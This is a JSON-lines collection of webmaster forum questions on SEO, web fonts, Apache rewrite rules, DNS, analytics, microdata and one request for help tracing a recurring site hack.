{"id":"43445","title":"Website from JPG templates from OCR of the images","text":"Somebody has given me some jpg's, and expect me to create a website from them. With an online tool, I am able to OCR them. Is it some tool that will let me create a proper site from the jpg's? Would it be OK to put the jpg's and the OCRed text in tags?"}
{"id":"6536","title":"OpenType font embedding permissions: what exactly do these mean?","text":"In our web site, we are using `@font-face` to embed fonts (we're using Font Squirrel). Currently, we are using only free fonts, but I'd like for us to purchase some high-quality OpenType fonts. One option is an Adobe \"Value Pack\". According to Adobe, they allow embedding in all electronic documents. What we have some confusion about is which permission settings are required to allow the use of `@font-face`. Here are the permissions mentioned by Adobe's site: > No Embedding: This permission signals that the font or any portion of the > font may not be embedded in any electronic document. While there are no > Adobe Type Showroom fonts with this permission, some third-party font > foundries may set their fonts to “no embedding” or prohibit embedding > through their end user license agreement. Obviously, couldn't use these fonts at all. > Preview & Print: A font with an embedding permission of Preview & Print > allows the font, either fully or as a subset, to be embedded in an > electronic document solely for the purpose of viewing that document on > screen and\/or printing that document. While a font with a Preview & Print > embedding permission (either through data in the font file or the font’s > license agreement) may be embedded in an electronic document, the embedded > font may not be used to further edit the document it is contained in or to > edit or create other documents. Most fonts in the Adobe Type Showroom are > set for Preview & Print embedding. Would a static web page fall under this category? > Editable: Fonts with an editable embedding permission can be embedded in > electronic documents, and the embedded font can then be used by the > recipient of the electronic document to view, print and further edit or > modify the text and structure of the document in which it is embedded. These > changes or edits can then be saved in the original document. Several fonts > in the Adobe Type Showroom, including all Adobe Originals typefaces, other > Adobe-owned typefaces and certain third-party font foundry typefaces, allow > for editable embedding. Would a web page that can include user-generated content fall under this category? > Installable: Fonts with an installable embedding permission may be embedded > in electronic documents for viewing, printing and editing, with the added > capability that they may be also be permanently installed on the computer > that receives the electronic document containing the embedded font. This > allows the font to be used to create and author new documents. It is > intended that the recipient of a font set to installable embedding obtains > all of the same rights as the person who originally licensed the font. Would the fact that a browser uses a cache make it so that all `@font-face` fonts require the \"Installable\" permission? Can anybody here clear up our confusion about license terms and embedding fonts on web pages?"}
{"id":"15556","title":"Add a content widget inside a blogger post!","text":"I am wondering if it is possible to add a blogger widget (say recent posts widget) within a blog post in blogger. Any pointers on doing this?"}
{"id":"31965","title":"WHOIS domain name expiry date long over due","text":"I just looked up this domain I was interested in obtaining but when I got the WHOIS info it showed this: > Created On:31-Dec-2004 18:18:31 UTC > Last Updated On:31-Dec-2004 18:18:36 UTC > Expiration Date:31-Dec-2009 18:18:31 UTC > Sponsoring Registrar:National Informatics Centre (R12-AFIN) > Status:INACTIVE > Status:DELETE PROHIBITED > Status:RENEW PROHIBITED > Status:TRANSFER PROHIBITED > Status:UPDATE PROHIBITED Now I don't have much of an understanding of how this works, but I am a bit confused. To me it looks like it expired a while ago, unless I am completely missing something here."}
{"id":"15009","title":".htaccess mod_rewrite domain to subdomain","text":"I need to redirect any domain to a sub-domain. I know this has got to be possible but for the life of me i can not figure it out. Any help is appreciated. For example: `domain1.com` `domain2.com` `subdomain1.domain1.com` `subdomain2.domain2.com` all go to `subdomain3.domain.com` but i need code that does not require me to enter each domain i want redirected. So for any feature domains that i link or create will go to subdomain3.domain.com btw this will only happen when viewing `anydomain.com\/path` <-- the path is a sym link"}
{"id":"4384","title":"How do you evaluate SEO\/SEM companies? What are common services\/prices?","text":"Looking for a checklist, or comparison site."}
{"id":"19762","title":"Removing a Website Name in Another Website From Google Index","text":"I have a website named `indonesiasumateratravel.com`, and when I search on Google something like 'indonesiasumateratravel' or something else, my website's name appears telling me it has been hacked. It looks like this:  How can I remove that result, it's really annoying me and customer of course. * * * @All: Thank you for the quick responses..! It turns out that the only solution is to report it directly to google, because I realized that the keyword \"indonesiasuamteratravel\" is under full control of the rogue website. And now that I've reported it to google, and everything is okay. hehehehe... :-)"}
{"id":"14651","title":"Restrict SSL access for some paths on a apache2 server","text":"I wanted to allow access to www.mydomain.com\/ **login** through ssl only. E.g.: Whenever someone accessed **http** :\/\/www.mydomain.com\/ **login** , I wanted him to be redirect to **https** :\/\/www.mydomain.com\/ **login** so it's impossible for him\/her to access that site without SSL. **I accomplished this** by adding the following lines to the virtual host for www.mydomain.com on port 80 in `\/etc\/apache2\/sites-available\/default`: RewriteEngine on RewriteCond %{SERVER_PORT} ^80$ RewriteRule ^\/login(.*)$ https:\/\/%{SERVER_NAME}\/login$1 [L,R] RewriteLog \"\/var\/log\/apache2\/rewrite.log\" Now, I want to **restrict using SSL** for www.mydomain.com. That means, whenever someone accessed **https** :\/\/www.mydomain.com, I want him to be redirected to **http** :\/\/www.mydomain.com (for performance reasons). I tried this by adding the following lines to the virtual host of www.mydomain.com on port 443 in `\/etc\/apache2\/sites-available\/default-ssl`: RewriteEngine on RewriteCond %{SERVER_PORT} ^443$ RewriteRule ^\/(.*)$ http:\/\/%{SERVER_NAME}\/$1 [L,R] RewriteLog \"\/var\/log\/apache2\/rewrite.log\" But when I now try to access www.mydomain.com\/ **login** , I get an error message that the server has caused **to many redirects**. That does make sense. Obviously, the two RewriteRules are playing ping-pong against each other. How could I work around this?"}
{"id":"34382","title":"What would be the most efficient use of e-mail addresses for ecommerce","text":"I am not sure if this is exactly the right section. What do you find the most efficient, clear and reachable use of e-mail addresses to use for the customer? I thought a standard 'sales, 'support' might work but it might look a little samey. Do users respond well when e-mails are replied by staff with named e-mail addresses such as susan@domain.com or a generic one? I am currently developing a small scale ecommerce website to gain some hands on insight into web retail. Any additional advice would be brilliant."}
{"id":"25985","title":"User\/Passwords - Changing it when original not known","text":"One of my clients found a very old facebook page for their organization (6\/2009), and the person who maintained it is no longer around. How would she get it deleted or find out user\/password to get it updated? Any suggestion greatly appreciated."}
{"id":"30802","title":"Including specific characters with Google Web Fonts","text":"I'm using the Open Sans web font from Google Web Fonts on my website. I only need the basic latin subset, but I do use the Psi (Ψ) character quite often as well and I would like to use the Open Sans version of that character, without having to include the entire greek subset. I looked at this help page which shows how to embed specific characters only using the `text` parameter, but there's no mention of _including_ specific characters. I tried doing the following to try to combine both font requests into one, but it didn't end up working. <link href='http:\/\/fonts.googleapis.com\/css?family=Open+Sans:400,400italic,700&subset=latin' rel='stylesheet' type='text\/css'> <link href='http:\/\/fonts.googleapis.com\/css?family=Open+Sans:400,400italic,700&text=%CE%A8' rel='stylesheet' type='text\/css'> Is there anyway to accomplish this?"}
{"id":"25986","title":"Tracking website hits from 3rd party mobile app","text":"Our business has ads on the local news channels website and mobile app. I was wondering if anyone knew of a way to track if a visitor came to your website from a 3rd party app?"}
{"id":"59365","title":"What is the difference between Privacy Protection and Privacy and Business Protection in goDaddy","text":"I am planning to buy a domain from goDaddy. I do not need any hosting\/builder\/email (I am planning to host on amazon ec2), all I need is just to own a domain. But when I selected the domain of my choice, I see the following options:  which actually looks the same to me. So what are the differences between these two options? I have also seen not so nice reviews about godaddy, but based on my understanding, they are more about hosting, than domain registration. Am I correct?"}
{"id":"31162","title":"Do I need multiple accounts in Facebook for each of my product site?","text":"I've a dozen sites which include for-profit ones as well as for charity. For each site I've created a Facebook company\/charity account. After creating those accounts it dawned on me that I could as well have created a new page for each of my site from my personal account only even if a site has multiple product pages. What'll be the right strategy? Also as per Facebook terms we can have only single personal account. I do have single personal account only but for each site I've created only company pages. I hope I'm not violating the facebook terms."}
{"id":"29658","title":"Is using Progressive enhancement, overriding links with .js considered cloaking and can it be see by search engines?","text":"I'm using `.load` to load content from a page \/about.html, so that search engines can see what is going on. I've made the links that trigger the `.load` `<a>` tags to the page \/about.html but for usability I have overridden these using `e.preventDefault;` as part of the `.load` script. Is this considered bad \/ dangerous \/ black hat, and seeing as Google bot can't see JS will it see this? _bit of a side question but can Google bot see the JS code and analyse what it does? Or does it completely disregard it, its function and its results?_"}
{"id":"29657","title":"Does a click through from a google search get counted in analytics if the page dosnt load due to the server being down?","text":"I was wandering does google count a click though and credit it to your analytics account if a user finds you in search, clicks through but the server is busy \/ slow for what ever reason, So the user leaves before the page is loaded, dose google still credit your analytics count witha click through ? I know that the tracking code dosnt load beacuse when you go the view source there is nothing there.. but dose google still credit your analytics account ?"}
{"id":"35110","title":"Should I pass link juice to my pages on other websites that are already high PR domains?","text":"I am starting a new website for a local business and have entries listed for it on places like urbanspoon, yelp, google+ local, etc. I am thinking of listing these citation sites on my business website to encourage visitors of my site to go and review the business on those sites. If I dofollow I will pass link juice to my page on that site, but doesn't that mean that the very very little PR juice I have will be leached away from me? Is it better to nofollow them?"}
{"id":"3870","title":"How do you get Drupal to go to a page other than the User Profile on login?","text":"**ISSUE:** Please help, I've tried a few things to get Drupal to STOP going to the User Prolfile page on login, even installed a module called LoginToboggan; which has nice features, just doesn't stop Drupal from sending all users that login to their User Profile page. **Just to be clear,** LoginToboggan's \"optionally redirect [of] the user to a specific page when using the 'immediate login' feature\" -- is ONLY for new users, not existing users... Yes, I know, makes no sense. **GOAL:** Just need to be able to set the login page; don't need to set the page load based on role, but hey, that would be nice if it's not crazy complex. **Related Links:** * Drupal * LoginToboggan **UPDATE:** Figured out a fix based on my needs, see my answer below. Please feel free to comment, and\/or post another answer. Thanks!"}
{"id":"32467","title":"Should forum signatures be statically stored with the post?","text":"I have seen forums do this both ways in the past, but I thought it might warrant a wider discussion. My question is, when a user posts in a forum which supports signatures, should that signature be appended to their post at the time of their post, locking in their signature at that point in time. The alternative would be to load their signature dynamically each time - meaning the latest signature is always shown... If the idea of a signature is to emulate the way it works on email, then the former is the way it should be done. I would love to hear peoples ideas on what their preference is and why."}
{"id":"32464","title":"site not loading with the www. prefix ( PyroCMS)","text":"I am using PyroCMS 2.1 pro. With multi site manager. I have a website that I have setup as somedomain.com.au. It works fine, however when i type in the www. prefix the CMS tells me its not setup. If I go into the CMS and change the domain to www.somedomain.com.au it works but then doesnt work if we ommit the www. Should I be redirecting something or have I missed a setting in PyroCMS that I should have set."}
{"id":"3875","title":"Which ads return more revenue","text":"i have a blog, i want to display ads and earn money as part time work. Can you suggest me which ads bring up more revenue except Google ads?"}
{"id":"31187","title":"Can I use Google AdSense within a banner rotator?","text":"I have 3 rotating banners on one 728x90 position on my website, so every time a page is loaded another banner is shown. One of these is AdSense. Is it legal, I mean is this strictly prohibited or not? Because, the code is basically stored in db table in my CMS module in Wordpress, so I guess it is OK. But I am asking to be sure. What is your personal experience? Does Google penalize sites with banner rotators?"}
{"id":"13809","title":"How do I see what pages on the internet link to my site?","text":"I thought I could see this through Google Webmaster Tools, and according to a help file, in Google Webmaster Tools, there should be an 'internal links' and an 'external links' menu item. But in my Webmaster Tools, there's an 'internal links' item, but no 'external links' menu item."}
{"id":"8477","title":"Search engine friendly, SEO blog software","text":"Is there a comparison of the SEO capabilities of different blogging software\/blogging plugins? I'd like things to be as optimised as possible. I have a basic grasp of SEO principles, probably 12-24 months old. I'm about to start a blog, after having a few previously. Also, I'm not up to speed on what pings are in the blogging world. What are they, and how do they work? I assume it is best to have blogging software that automatically pings."}
{"id":"8471","title":"How to transfer a domain (securely)","text":"This might be a stupid question but I am buying a domain name from a private seller. It is an individual & not an established organization. How can I securely make the transaction so that he doesn't screw me and i get the domain & he gets the money? Does the 3rd party charge for it? Who can do this the cheapest (and still make a secure transaction)?"}
{"id":"19768","title":"Which tool can tidy\/indent HTML5?","text":"I've already spent about 2 hours searching google and trying various tools but either they don't do indent tags per say or they aren't HTML5 compatible such as the famous HTML tidy which was last updated 3 years ago… N.B. I don't want to apply this to the source of a page (like PHP or JS would do) but to the code in the editor so that a clear hierarchy appears between tags. Ideally I'd like a Mac OS X tool but I'll take any online tool and in last resot a Wine compatible one. P.S. at the moment I use Coda from Panic"}
{"id":"29666","title":"Ho do I get my website tools used by other websites","text":"I hope someone can help me. I'm new to SEO and as of now have just about no budget. I'm trying to get more traffic to my site. Someone suggested that I use the tools on my site, shown in the links below, to generate traffic. I wondered how I go about this? What sites could I target and how I would approach this? Any help would be greatly appreciated. www.debt-out.co.uk\/budget-calculator www.debt-out.co.uk\/debt-test"}
{"id":"52714","title":"When should I add a subdomain to my website?","text":"I'm working on the correction of a website. To keep it simple I added a subdomain to it and use it to install the template I was working on. Now - after fininshing the work, I'm thinking about keeping it (Order Form) on this subdomain and consider to simply delete the original one from the website. My question is about any problems this might cause. What are the pros & cons of dividing the website in subdomains - is there any disadvantage of doing so? Right now it looks like this: www.exampledomain.com www.orderform.exampledomain.com I'm not sure if and when it would makes sence to create further subdomain for the other functions of the website?"}
{"id":"50038","title":"WordPress bot issues","text":"I need to implement a blog into a clients site as he is unhappy with his current basic CMS driven solution. It needs to suit both seo and the current style and as I'm a front end dev\/designer and they don't have budget to redevelop - the only solution I can think of is to setup a Wordpress blog and restyle to suit. My only worry about this is the current press reports on WordPress being affected by webbots. I understand the main worry Is if you use an id of admin, but I'm concerned that regardless of this the site could be bombarded with bot requests and cause timeouts! Is this valid? If so is there any way to avoid this issue!? If not can anyone recommend another good SEO friendly blog solution!?"}
{"id":"24582","title":"Site being repeatedly hacked: any useful tips for tracking down entry point?","text":"I'm suffering from a spam hack where my site periodically starts to show Viagra spam to Google and other spiders. The method of the hack is basically that my .htaccess file gets modified to route all requests through a file called \"common.php\", which is a big chunk of base64 encoded evilness. I've noticed it happening on a weekly basis: every time I remove the hacked files, it pops back up a few days later. These are the steps I've already taken to secure things: * Changed my FTP password * Scanned my (shared hosting) directories for world-writable (777) files\/folders and changed them to 755 or something more appropriate * Removed old copies of Wordpress from unused directories (the site itself is a custom-written PHP CodeIgniter app) * Downloaded the entire site to my local box and scanned the directories for occurences of strings like \"base64\" and \".ru\" (spam domains?). I'm a little uncertain what to do next as the problem still seems to be there. Is there some smart shell command I can run to figure out how these files are being uploaded? When I last checked, the .htaccess file was edited today by my own FTP user despite me changing the password a week ago and logging out any logged-in users. I don't leave it logged in on public machines, and a few other administrators of the site haven't been given the new password yet. Any tips \/ ideas gratefully received. I'm happy to provide the output of any specific commands as needed. Matt"}
{"id":"31380","title":"Websites or tools similar to Ginwiz (mobile website creator)","text":"I have a website which i want to make more mobile friendly(currently its not). While searching about this i found this awesome website Ginwiz; my website can be modified into an mobile friendly site without any additional coding. But i find two disadvantages with this website (free version) 1)We cant add our domain to it with out upgrading (i dont have enough money to pay for it) 2)We can only \"Advanced edit\" one page Do you know any website which is similar to Ginwiz but can use our domain address instead of theirs (in free version). Do you have any idea about any tools which can be also used to convert my website to mobile website by trimming my current website easily."}
{"id":"24589","title":"SEO actions on a new domain that has only a launch page, for better future results?","text":"I have bought a domain name for a website I will create in the next few months. I am really concern about the SEO for this new page. So, the launch page has a very good SEO score but my question is, what actions shall I make to build earlier for the future? Does the SEO actions are different because of a launch page?"}
{"id":"59286","title":"Can I use same 'itemtype' in Microdata twice?","text":"I have an Element in My website that it shows last update of my website: My curect structure of website is this: <body itemscope itemtype=\"http:\/\/schema.org\/webpage\" <div itemscope itemtype=\"http:\/\/schema.org\/WPSideBar> <div>...some text...<\/div> <div>last update: 23\/1\/2014<\/div> \/\/last update for whole site <div\/> <\/body> The 'last update' is for whole website. Not for sidebar! Can I used 'itemtype' twice to solved this problem? for example Do you think this is correct? <body itemscope itemtype=\"http:\/\/schema.org\/webpage\" <div itemscope itemtype=\"http:\/\/schema.org\/WPSideBar> <div>...some text...<\/div> <div itemscope itemtype=\"http:\/\/schema.org\/webpage\"> <span itemscope=\"name\">last update: <\/span> <time itemprop=\"datePublished\" datetime=\"2014-01-23 13:52:00\">23\/1\/2014<\/time> <\/div> <div\/> <\/body>"}
{"id":"55208","title":"Capturing site search parameters from the URL hash in Google Analytics","text":"We want to capture aggregated, anonymous search query history for analytic purposes to improve our internal search engine performance and metadata practices. I found this article: https:\/\/support.google.com\/analytics\/answer\/1012264?hl=en Unfortunately, our search engine uses a hash tag instead of a question mark (nonstandard query string). For example: `http:\/\/www.example.com\/search#q=search%20term` Is there a way to configure Google Analytics to recognize hash tag values in the URLs and capture these given a defined pattern?"}
{"id":"58362","title":"What is a suitable microdata structure for music mixes?","text":"Since Google actively supports the Music microdata structure, I would like to implement this on a site that publishes music mixtapes. In context of this website, music mixes are usually 60 minute compilations of music, weaved together in a seamless fashion, much like the experience you'd get when going to an Electronic Dance Music festival. **Problem with theMusicRecording schema** The format of the website doesn't match this microdata structure closely enough. For example, Google Webmasters indicates that my submitted microdata is missing the `inablum.name`, `location` and `startDate` properties. I have no desire of fixing these errors because they do not actually befit my content. **Alternative microdata structures** The main problem with alternative schemas is that I haven't seen official recognition by Google. Other problems are: * BlogPosting The expected schema for content that is delivered through WordPress, the software on which the website runs. While content can be considered a blog post, its contents are usually little more than a blockquote from the mix artist, and a tracklist for the music used in the mix. * Review While supported by Google, my content doesn't actually review the mix. It provides information about it. At best, my visitors' comments could be considered mini-reviews, but I have already structured them as Comments. * MediaObject The main issue with this schema is that it's supposedly used inside another schema as a complement. I don't think it's a good solution to build my entire page's content around MediaObjects. * AudioObject While more accurate than MediaObject, it faces the same limitations. **What is a suitable microdata structure for music mixes?** What I need seems to exist in schemas, but I only a little bit from each of them. Ideally, a schema that is _right_ for me, would include the following microdata properties: * Name of artist who created the mix compilation (may be a sub schema, for instance a Person or PerformingGroup) * Name of the mix compilation * Artwork of the mix compilation * List of musical works incorporated in the mix compilation, in order of appearance. * Duration of mix compilation * URL to audio file: the actual mix compilation * Date of publishing * Audio format and encoding (for example MP3) * Comments about this content (may be in sub schema, for instance Comment) Perhaps someone could produce a example of a combination of schemas to include all required properties that Google Webmaster could throw errors on. I'm kind of lost at this point which schema is best for my content."}
{"id":"61473","title":"Google is appending branded url to title in search results with undesired capitalization","text":"I work for an organization with a website domain that is two words that are placed together. For branding reasons, we always display the url as `Loremipsum.com` or `loremipsum.com` and NEVER `LoremIpsum.com` (referred to as camel-case). Recently, it appears that in Google search result pages the domain name with the unwanted capital letter is getting appended to the page title like: > This is My Awesome Page Title - LoremIpsum.com when we would prefer it to be: > This is My Awesome Page Title - loremipsum.com I have scoured the source code of the site and nowhere do I see the domain displayed this way. It certainly isn't in any `<title>` or `<h1>` tags. It is as if Google determined that this how the domain name should be displayed. I've looked in Webmaster Tools and Analytics to see if the site was ever claimed using camel case but can't find anything."}
{"id":"55201","title":"Does using HTML header tags as links have any SEO downside?","text":"My homepage has several internal links which I would like to use as header tags. For example: `<h2> <a href=\"http:\/\/www.example.com\/about\/\"> About example.com <\/a> <\/h2>` Does this pass PageRank to these internal links and therefore take some away from the homepage? Is there any SEO downside to using header tags as links, as exemplified above?"}
{"id":"27286","title":"Does server location matter in same country?","text":"I run a regional website in the US, where I'd say about 40% of our traffic and most of our returning visitors are located in 3 states. In shopping around for a new dedicated server I'm wondering how important location is, and whether it makes the most sense choosing a provider that is closest. I did find this post but it deals with the server being located in a different country. Does it matter where a server's physical location is? How important is a servers location to the largest concentration of users? Additionally, are there things to consider like making sure your servers datacenter is located next to a major hub?"}
{"id":"32606","title":"Hide elements for Google","text":"I have some elements which I don't want Google to see. Usually repetitive content, e.g. header and sidebar. As Googlebot doesn't handle AJAX requests, I load these resources with AJAX and insert them into the DOM. Does this cause any SEO problems? Does Google even recognize this activity? Regards."}
{"id":"56840","title":"What is the purpose of leading slash in HTML URLs?","text":"I have noticed that some blogs posts have links using a value starting with `\/` in the `href`. For example: <a href=\"\/somedir\/somepage.html\">My Page<\/a> Does the leading `\/` mean the path is starting from the site root? In other words, if the site URL is `www.mysite.com`, the effective `href` value is `www.mysite.com\/somedir\/somepage.html`? Is this a convention accepted in all browsers?"}
{"id":"19324","title":"How to check VPS is performing optimally?","text":"Like for measuring Load time of a website we have Pingdom tools, do we have something similar to measure if the VPS I currently have is good or not. I'm looking for some kind of metrics, because I have simple one page wordpress website which according to Pingtool takes approximately 30 secs and then timesout, that's pretty(x 10) bad. The same website on a different server takes 8 seconds. So I'm guessing something wrong with the VPS. Also I'm running Ubuntu with virtualmin on VPS. Its 512 MB ram and"}
{"id":"55206","title":"Disabling well perfoming organic keywords in AdWords","text":"One of the best performing keywords on my clients AdSense also returns them at the top of the organic rankings. Is it good practice to disable this keyword in Google AdWords and allow the organic ranking to do the rest of the work, and subsequently allow the balance to be invested in other keywords?"}
{"id":"52962","title":"Increasing server speed(More info in question)","text":"So I have recently been employed as a webmaster at a local High School, and I have walked into a nightmare. Their are 3 servers which hold about 300 WordPress\/wiki sites for all the teachers. As well as the student grades via some 3rd party program called WordPress. Not to mention the fact that the servers are low grade 6 year old servers. The servers are connected to the main network in the school which is very bad because **Every single student is connected** (That's about 1000 kids using the WiFi for Facebook or whatever) along with about 500 mac books the school as in many different classrooms. Because of this the server take **FOREVER** (Best load time was 14 seconds, for the main page) to load anything but the school homepage. I have a small\/no budget. How am I supposed to make this network usable? Is it even possible?"}
{"id":"52965","title":"Duplicate content on the same page - SEO ramifications?","text":"In certain situations, I've seen Responsive Design websites with duplicate content on the same page. The pages had duplicate HTML structure and content in some parts of it due to Responsive Design. For example, a menu structure for mobile layouts, and then a separate menu structure that is only for tablet + desktop layouts. So in these situations, where you have content duplicated on the same page, simply because a user was forced to separate their HTML structures to respond to different layouts, does this have any negative SEO ramifications?"}
{"id":"22523","title":"enable email on Godaddy when using Zerigo on Heroku hosted app","text":"A little recap of what I have done ... and then my questions Q1, Q2 and Q3 1 - I developed a RoR app that I deployed on Heroku. biowatts.heroku.com 2 - I bought a domain name at GoDaddy: biowattsonline.com 3 - I am using Zerigo addon as for the DNS heroku addons:add custom_domains heroku addons:add zerigo_dns:basic 4 - Added my domains in Heroku heroku domains:add biowattsonline.com heroku domains:add www.biowattsonline.com and subdomains heroku domains:add calculator.biowattsonline.com **Q1: Where do we configure the forward tohttp:\/\/biowattsonline.com\/biogas_calculator ?** 5 - Configured GoDaddy adding the Zerigo domains In the Nameservers section a.ns.zerigo.net b.ns.zerigo.net c.ns.zerigo.net d.ns.zerigo.net e.ns.zerigo.net The GoDaddy DNS section is empty: \"Not hosted here\" Ok this works all fine ... http:\/\/biowattsonline.com is correctly found 6 - Subdomain forward I want calculator.biowattsonline.com to be forwarded to biowattsonline.com\/biogas_calculator **Q2: So I created the forward in GoDaddy ... but is that correct?** 7 - GoDaddy email **Q3: I have one free email account with go GoDaddy, only now that I am using Zerigo I don't know how configure GoDaddy to make it work again?... because it work with the default values** Any ideason Q1, Q2 and Q3? Thanks, Joel"}
{"id":"22521","title":"What free icons fonts are available?","text":"With the possibility to embed fonts in websites using @font-face CSS, some creative webdesigners developed their way to display icons using fonts, instead of images. But most of the available icon fonts (or \"font-face\" kits) are paid, such as: * Pictos * Fico * Tipogram * KDN Media * IconMoon *free version, with less icons So, what free icons pack in font format do you know? _Please limit one \"font-face\" kit per answer - and include why you enjoy\/recommend it._ **Edit:** This question can be converted into a community wiki, if the moderators want, because there is no best answer, and each response is welcome as a knowledge that can be enjoyed by many."}
{"id":"3726","title":"Debating between different kinds of URL and see if one is more seo-friendly than other...","text":"So something like `domain.com\\x\\y\\z\\t` and `domain.com\\x?var1=y&var2=z&var3=t` (var1, var2 and var3 will be replaced by legit words that make more sense). **Which one is more SEO friendly?** For my purpose, second one seems more convenient, because it's easy to manipulate."}
{"id":"4165","title":"Enabling drag and drop in my CMS (Content Management System)","text":"I'm using Drupal as CMS for my websites and I was wondering if there is a way to enable dragNdrop functionalities to upload images to the website. I mean dragNdrop images into the back-end (in the browser window). If not, can I build a desktop application integrating with Drupal ? (such as. Adobe Air application.. or something else..) ? thanks"}
{"id":"13890","title":"What kind of algorithm is Panda","text":"Matt cuts said in a Tweet : > Short version is that it’s not data that’s updated daily right now. More > like when we re-run the algorithms to regen the data. In my opinion, it tells us two things: * Whatever algorithm panda is, it's not in the classic workflow of the referencing of a website. * Panda is some kind of reranking algorithm which takes in input the 'classic' algorithm and penalizes aimed websites. what do you think about the last point ?"}
{"id":"4160","title":"IIS XML encoding seems to be wrong","text":"We are moving our web application from Apache 2.0 to IIS 7. Everyhing is fine with UTF-8 encoding, but just one thing. There's a flash movie in the page that reads an xml content (dynamically generated by php) which if served by Apache correctly displays french-specific characters (èé, for example), while if the same content is served by IIS 7 those characters are screwed up. \"Hm, server encoding\", I thought. Well I put in my script the line header('Content-Type: text\/xml; charset=utf-8'); before anything else; the XML content is correctly quoted with UTF-8 encoding: $str = '<?xml version=\"1.0\" encoding=\"UTF-8\"?>'; and the encoding of underlying MySQL database and tables is utf8-general-ci. After that nothing changes: characters like èé are still screwed up if the XML is served through apache. What am I doing wrong?"}
{"id":"26452","title":"How do I design a website without relying on images and photographs, but still be eyecatching?","text":"I've recently been charged with my first professional gig as a web designer. I've made a few pages before, very basic pages, that were for student groups or nonprofit organizations. Those were free and the client were more than satisfied with a product based off of a template or very simple markup. I'd like to go above and beyond for this, my first professional job. My client wants to set up a website to market his skills so he can consult while also working full-time. Since he is an architect he has an eye for design that I haven't built up yet. Also he has no images to share for the website. I would like to make a breathtaking design, or at least an eyecatching one. I've searched sites for templates but everything is so photbased, a privelege that I do not own. Do you have any advice on designing for a non-photocentric site? Or any examples that show it done beautifully while also being eyecatching? Any tips or tricks on how to have my cake and eat it too? Thanks"}
{"id":"26453","title":"Why does google only index a part of my site?","text":"For a while now I have been having issues with google indexing my site. For some reason it would'nt take over 33 pages from my xml sitemap: (images not allowed for new users...) It has been the case for the past couple of months. Why does'nt Google index my entire site? it's only 37 pages!"}
{"id":"13899","title":"Is it possible to use Google Analytics to track file downloads?","text":"It's always bothered me that Google Analytics (and similar embedded web traffic monitoring services) can only see a reflection of the traffic going to my server and can only see page visits since it depends on the browser executing a Javascript snippet. If I want to track real downloads of a software package (ZIP file), there's no way Google Analytics can possibly tell me that because its javascript can't be attached to a ZIP file. Is there a way I can upload my log files to Google so that the pointy-haired boss can see downloads of our ZIP\/PDF\/BIN files and not just visits to the download page?"}
{"id":"62979","title":"Issue On Setting SEO For My Website","text":"Can you Please take a look at This Demo and let me know why This Page of my Website is Presenting in Google Search engine instead of My First Page (Home Page). As far as I know and learned from Google SEO Tutorial I followed every thing standard for SEO on home Page! If you search Google with \"vancouver spray foam insulation\" criteria the page shows at 4th page of google.ca Thanks"}
{"id":"50584","title":"Internet Explorer 8, content negotiation and missing file extension","text":"I'm using Apache to serve a webpage that contain some images. I have imags in both SVG and PNG format, and use content negotiation to serve the format that a client understands. As a result, the files that are referenced in the HTML do not have any extension (i.e. <img src=\"myimage\"> instead of <img src=\"myimage.png\">). This works fine in most browsers, but now I tested in IE8 and it does not display any of the images. It seems like IE is not able to determine the MIME type of the image, despite the server providing it in the HTTP response. Is there any reasonable workaround for this problem? Is the same bug also present in newer versions of IE?"}
{"id":"65317","title":"Moving directory to domain and maintaining SEO","text":"I recently completed a website for a client, which was hosted on my own personal server until we were ready to move it to their own dedicated domain. Inadvertently, the sub-directory got indexed when it still resided on my domain, and thus searches for the site show up for its existence on my server. I set up a 301 Permanent Redirect and put in a crawl request to Google hoping to rectify the search results, but unfortunately the results are still the same. All the literature I have been reading talks about setting up 301s when moving from domain to domain, but little to none talks about moving a site from a sub-directory to its own TLD. Is there a specific process to go about when moving a site from a sub- directory to its own domain while maintaining its preexisting SEO?"}
{"id":"51067","title":"Setting up mod rewrite","text":"I spent hours in finding how to make my url pretty but no luck. I am hosted in DreamHost and using php under fcgi. I'm triying to make my: http:\/\/www.wallpapers- football.net\/wallpapers.php?id=705&cat=National%20Team%20Wallpapers URL into pretty one : http:\/\/www.wallpapers-football.net\/705\/National%20Team%20Wallpapers.html Why is this not working: RewriteEngine On RewriteRule ^([^\/]*)\/([^\/]*)\\.html$ \/wallpapers.php?id=$1&cat=$2 [L] my htaccess: #--- DH-PHP handlers --- Options +FollowSymLinks +ExecCGI AddHandler fastcgi-script fcg fcgi fpl AddHandler php5-fastcgi .php Action php5-fastcgi \/cgi-bin\/dispatch.fcgi Options All -Indexes <files .htaccess> order allow,deny deny from all <\/files> ErrorDocument 404 \/404-Page.php"}
{"id":"4926","title":"301 redirects for all except me","text":"i want to my site down for an hour and i was using order Deny,Allow Deny from all Allow from my.ip.add.ress but i dont like the default error page, is there a 301 redirct where i can redirect everyone whos not on my ip address to a nice and pretty page?"}
{"id":"38979","title":"Identical spam coming from many different (but similar) IP addresses","text":"A forum I run has been the victim of spam user accounts recently - several accounts that have been registered and the profile fill with advertising\/links. All of this is for the same company, or group of companies. I deleted several accounts weeks ago and blocked some IP addresses, but today they have come back with the same spam. Every account has a different IP address, but they are all of the form `122.179.*.*` or `122.169.*.*`. I am considering blocking those two IP ranges, but there are potentially thousands of IPs in that range. They appear to be assigned to India (although the spam is for an American company) so given the site is for a western, English-speaking audience maybe it doesn't matter. My questions: 1. How are they posting on so many IPs? 2. Is there likely to be a limit to the number of IPs they have access to? 3. Is there anything else I can do at the IP-level to block them? (I am looking into other measures like blocking usernames\/links.)"}
{"id":"22741","title":"Redirecting to a default (or last visited) subdirectory. Does Google like this?","text":"i have a site that has 3 web applications, lets use this example: * example.com\/nicy * example.com\/mash * example.com\/zoken The main application is **nicy** , so if the user comes for the first time (or if Google indexes my site) that will be the default choice. This is the code placed inside example.com\/ **index.php** <? header('HTTP\/1.1 301 Moved Permanently'); header('Location: http:\/\/example.com\/nicy'); die(); ?> Is this solution SEO friendly for Google to index the **nicy** subdirectory as the main entrance page for the domain? (because of the 301 redirect)."}
{"id":"22744","title":"What happened to HTML table tags?","text":"I started to code HTML in 1998, and in that time I used a lot table tags, playing with tr and td, I learned many things analyzing the source code of many portals on the internet with notepad and Microsoft FrontPage, the latter, aw, how many tables overlapping others, it was fun, I loved that time. However, I abandoned web programming for almost seven years and this year I decided to see what web programming is like today. It seems completely different, as most sites do not use table tags, and instead use div and span tags. Why did this happen? What are these new tags and why are table tags no longer used?"}
